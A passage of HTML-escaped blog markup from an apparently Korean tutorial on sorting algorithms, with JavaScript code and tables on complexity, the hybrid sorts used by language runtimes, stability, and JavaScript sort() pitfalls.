    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; j &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; j &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; a&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; i&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; j&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;a&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;j&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; a&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;j &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;a&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;j&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; a&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;j &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;a&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;j &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; a&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;j&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
        swapped &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;swapped&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;break&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 이미 정렬됐으면 조기 종료&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; a
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;비교는 항상 &lt;code class=&quot;language-text&quot;&gt;n(n-1)/2&lt;/code&gt;번이지만 &lt;strong&gt;교환은 역순 쌍(inversion)의 개수만큼&lt;/strong&gt; 일어납니다. 거의 정렬된 배열이면 &lt;code class=&quot;language-text&quot;&gt;swapped&lt;/code&gt; 검사로 한 바퀴 만에 끝납니다.&lt;/p&gt;
&lt;h3&gt;선택 정렬 — 교환이 가장 적다&lt;/h3&gt;
&lt;p&gt;남은 구간에서 최솟값을 찾아 맨 앞과 한 번 바꿉니다. &lt;strong&gt;교환 횟수가 정확히 &lt;code class=&quot;language-text&quot;&gt;n-1&lt;/code&gt;번&lt;/strong&gt;으로 고정입니다.&lt;/p&gt;
&lt;p&gt;비교는 버블과 같은데 교환이 압도적으로 적습니다. 원소 하나를 옮기는 비용이 비쌀 때(큰 구조체를 값으로 다룰 때) 의미가 있습니다.&lt;/p&gt;
&lt;h3&gt;삽입 정렬 — 거의 정렬된 배열에 강하다&lt;/h3&gt;
&lt;p&gt;앞에서부터 하나씩 꺼내 이미 정렬된 앞부분의 제자리에 꽂습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;insertionSort&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; a&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; key &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; a&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; j &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;j &lt;span class=&quot;token operator&quot;&gt;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; a&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;j&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; key&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      a&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;j &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; a&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;j&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
      j&lt;span class=&quot;token operator&quot;&gt;--&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    a&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;j &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; key
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; a
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;이미 정렬된 배열에서는 비교가 &lt;code class=&quot;language-text&quot;&gt;n-1&lt;/code&gt;번뿐이라 &lt;code class=&quot;language-text&quot;&gt;O(n)&lt;/code&gt;입니다.&lt;/strong&gt; 이 성질 때문에 삽입 정렬은 지금도 현역입니다 — 뒤에서 다시 나옵니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;O(n log n)은 어디서 오는가&lt;/h2&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;log n&lt;/code&gt;은 &lt;strong&gt;절반으로 나누는 횟수&lt;/strong&gt;입니다. 1,000개를 절반씩 쪼개면 10번 만에 1개가 되고, 100만 개는 20번이면 됩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;1,000,000 → 500,000 → 250,000 → … → 1
              20번&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;한 단계마다 전체 &lt;code class=&quot;language-text&quot;&gt;n&lt;/code&gt;개를 한 번씩 훑으니 &lt;code class=&quot;language-text&quot;&gt;n × log n&lt;/code&gt;이 됩니다.&lt;/p&gt;
&lt;h3&gt;병합 정렬 — 나눠서 합친다&lt;/h3&gt;
&lt;p&gt;절반으로 계속 쪼갠 뒤, 정렬된 두 배열을 합칩니다. 합치는 건 양쪽 맨 앞만 비교하면 되므로 선형입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;merge&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;l&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; r&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; out &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    j &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; l&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; j &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; r&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// 같을 때 왼쪽을 먼저 넣는 것이 안정 정렬의 조건이다&lt;/span&gt;
    out&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;l&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&lt;/span&gt; r&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;j&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; l&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; r&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;j&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; out&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;concat&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;l&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;slice&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; r&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;slice&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;j&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;최악에도 &lt;code class=&quot;language-text&quot;&gt;O(n log n)&lt;/code&gt;을 보장&lt;/strong&gt;하고 &lt;strong&gt;안정 정렬&lt;/strong&gt;입니다. 대신 합칠 공간이 필요해 메모리를 &lt;code class=&quot;language-text&quot;&gt;O(n)&lt;/code&gt; 더 씁니다.&lt;/p&gt;
&lt;h3&gt;퀵 정렬 — 기준 하나로 갈라낸다&lt;/h3&gt;
&lt;p&gt;피벗을 하나 정하고 그보다 작은 것과 큰 것으로 나눕니다. 그리고 각 구역에서 같은 일을 반복합니다.&lt;/p&gt;
&lt;p&gt;추가 메모리를 거의 안 쓰고(제자리 정렬), 상수가 작아 실제로 가장 빠른 축입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;다만 피벗이 계속 한쪽으로 치우치면 &lt;code class=&quot;language-text&quot;&gt;O(n²)&lt;/code&gt;가 됩니다.&lt;/strong&gt; 이미 정렬된 배열에서 맨 앞을 피벗으로 잡으면 매번 1개와 n-1개로 갈라져 최악이 나옵니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;그런데 실무에서는 이 중 하나만 쓰지 않는다&lt;/h2&gt;
&lt;p&gt;표준 라이브러리의 정렬은 교과서 알고리즘 하나가 아니라 &lt;strong&gt;섞은 것&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;런타임&lt;/th&gt;
&lt;th&gt;정렬&lt;/th&gt;
&lt;th&gt;구성&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;V8 (JavaScript)&lt;/td&gt;
&lt;td&gt;Timsort&lt;/td&gt;
&lt;td&gt;병합 + 삽입&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Python&lt;/td&gt;
&lt;td&gt;Timsort&lt;/td&gt;
&lt;td&gt;병합 + 삽입&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Java 원시 타입&lt;/td&gt;
&lt;td&gt;Dual-Pivot Quicksort&lt;/td&gt;
&lt;td&gt;퀵 + 삽입&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Java 객체&lt;/td&gt;
&lt;td&gt;Timsort&lt;/td&gt;
&lt;td&gt;병합 + 삽입&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rust &lt;code class=&quot;language-text&quot;&gt;sort_unstable&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;pdqsort&lt;/td&gt;
&lt;td&gt;퀵 + 힙 + 삽입&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;세 가지 아이디어가 공통으로 들어갑니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. 작은 구간은 삽입 정렬로 넘긴다.&lt;/strong&gt; 원소가 16~32개 이하로 줄면 &lt;code class=&quot;language-text&quot;&gt;O(n log n)&lt;/code&gt; 알고리즘의 재귀 오버헤드가 오히려 큽니다. 앞에서 본 대로 삽입 정렬은 작고 거의 정렬된 구간에 강합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. 이미 정렬된 구간을 알아본다.&lt;/strong&gt; Timsort는 배열을 훑으며 오름차순·내림차순 구간(run)을 찾아 그대로 씁니다. 실제 데이터는 완전 무작위인 경우가 드물기 때문입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. 최악을 감시한다.&lt;/strong&gt; pdqsort와 introsort는 재귀가 너무 깊어지면 힙 정렬로 전환합니다. 퀵 정렬의 &lt;code class=&quot;language-text&quot;&gt;O(n²)&lt;/code&gt;를 구조적으로 막습니다.&lt;/p&gt;
&lt;p&gt;Node.js의 &lt;code class=&quot;language-text&quot;&gt;Array.prototype.sort&lt;/code&gt;가 Timsort라는 점은 V8 공식 블로그에 정리돼 있습니다. &lt;a href=&quot;https://v8.dev/blog/array-sort&quot;&gt;V8 — Getting things sorted in V8&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;안정 정렬이 중요한 순간&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;같은 값끼리의 원래 순서가 유지되는가&lt;/strong&gt;가 안정성입니다.&lt;/p&gt;
&lt;p&gt;주문 목록을 먼저 날짜로 정렬하고, 그다음 금액으로 정렬한다고 해봅시다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;orders&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;sort&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;a&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; b&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; a&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;date &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; b&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;date&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
orders&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;sort&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;a&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; b&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; a&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;amount &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; b&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;amount&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;안정 정렬이면 &lt;strong&gt;금액이 같은 주문들 사이에서는 날짜 순서가 남습니다.&lt;/strong&gt; 불안정 정렬이면 그 순서가 깨집니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;정렬&lt;/th&gt;
&lt;th&gt;안정성&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;버블·삽입·병합&lt;/td&gt;
&lt;td&gt;안정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;선택·퀵·힙&lt;/td&gt;
&lt;td&gt;불안정&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;JavaScript는 ES2019부터 &lt;code class=&quot;language-text&quot;&gt;Array.prototype.sort&lt;/code&gt;가 &lt;strong&gt;안정 정렬로 명세에 못박혔습니다.&lt;/strong&gt; 그전에는 엔진마다 달랐습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;JavaScript에서 자주 밟는 함정&lt;/h2&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;sort()&lt;/code&gt;를 비교 함수 없이 부르면 &lt;strong&gt;원소를 문자열로 바꿔 비교합니다.&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;sort&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// [1, 10, 100, 9]  ← 문자열 사전순&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;sort&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;a&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; b&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; a &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; b&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// [1, 9, 10, 100]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;그리고 &lt;code class=&quot;language-text&quot;&gt;sort()&lt;/code&gt;는 &lt;strong&gt;원본 배열을 바꿉니다.&lt;/strong&gt; 원본을 지켜야 하면 &lt;code class=&quot;language-text&quot;&gt;toSorted()&lt;/code&gt;(ES2023)를 쓰거나 복사한 뒤 정렬합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; sorted &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;...&lt;/span&gt;list&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;sort&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;a&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; b&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; a &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; b&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; sorted2 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; list&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toSorted&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;a&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; b&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; a &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; b&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;정리&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;알고리즘&lt;/th&gt;
&lt;th&gt;평균&lt;/th&gt;
&lt;th&gt;최악&lt;/th&gt;
&lt;th&gt;메모리&lt;/th&gt;
&lt;th&gt;안정&lt;/th&gt;
&lt;th&gt;쓰이는 곳&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;버블&lt;/td&gt;
&lt;td&gt;O(n²)&lt;/td&gt;
&lt;td&gt;O(n²)&lt;/td&gt;
&lt;td&gt;O(1)&lt;/td&gt;
&lt;td&gt;O&lt;/td&gt;
&lt;td&gt;교육용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;선택&lt;/td&gt;
&lt;td&gt;O(n²)&lt;/td&gt;
&lt;td&gt;O(n²)&lt;/td&gt;
&lt;td&gt;O(1)&lt;/td&gt;
&lt;td&gt;X&lt;/td&gt;
&lt;td&gt;교환 비용이 클 때&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;삽입&lt;/td&gt;
&lt;td&gt;O(n²)&lt;/td&gt;
&lt;td&gt;O(n²)&lt;/td&gt;
&lt;td&gt;O(1)&lt;/td&gt;
&lt;td&gt;O&lt;/td&gt;
